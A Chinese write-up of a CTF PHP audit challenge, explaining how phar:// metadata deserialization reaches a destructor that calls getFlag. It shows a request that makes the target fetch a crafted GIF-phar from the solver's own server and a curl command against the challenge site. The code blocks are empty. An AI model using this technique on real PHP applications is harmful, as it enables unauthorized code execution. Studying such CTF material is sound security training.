前言
这篇文章讲述了一次CTF拉练的一道php的白盒审计题,该文章也是接着Phar://这篇文章写的,主要是记录一下。
源码
1 |
|
思路解析
首先分析代码, 首先定义了一个getFlag函数, 执行了这个函数就会出flag, 所以整道题的核心就是执行这个函数
题目主要有两个功能, 一个是在沙盒文件夹任意写入一个gif, 一个是根据cookie中的路径查看这个gif
初步想法
admin是关键类,利用通过反序列化之后的析构函数去通过lucky参数去调用Getflag函数输出flag,而反序列化的data是从cookie中获得, 那先尝试一下伪造cookie,但是其实cookie后半部分是用hash_hmac和一个未知的秘钥生成的一个签名, 无法绕过判断机制,基本上不可能伪造的了。
本题考点
php中解析Phar归档中的Metadata的时候会有反序列化的操作
https://www.php.net/manual/zh/phar.getmetadata.php
解题步骤
方式一
生成phar的gif头格式文件,并修改后缀名为gif
1 |
|
并将生成的gif图放到自己的http服务器中(这里本地python临时起的服务)
1 | http://www.xxxx.com/&url=http://10.255.252.192:8000 .php?m=upload |
方式二
生成phar的gif头格式文件,并修改后缀名为gif
1 |
|
并将生成的gif图放到自己的http服务器中(这里本地python临时起的服务)
1 | curl --cookie-jar idlefire "http://www.xxxx.com/index.php" |
写到最后
这题根据经典题目(hitcon-ctf-2017baby^h-master-php-2017)进行的改编,在某种程度上进行降低了难度。
参考
https://www.jianshu.com/p/19e3ee990cb7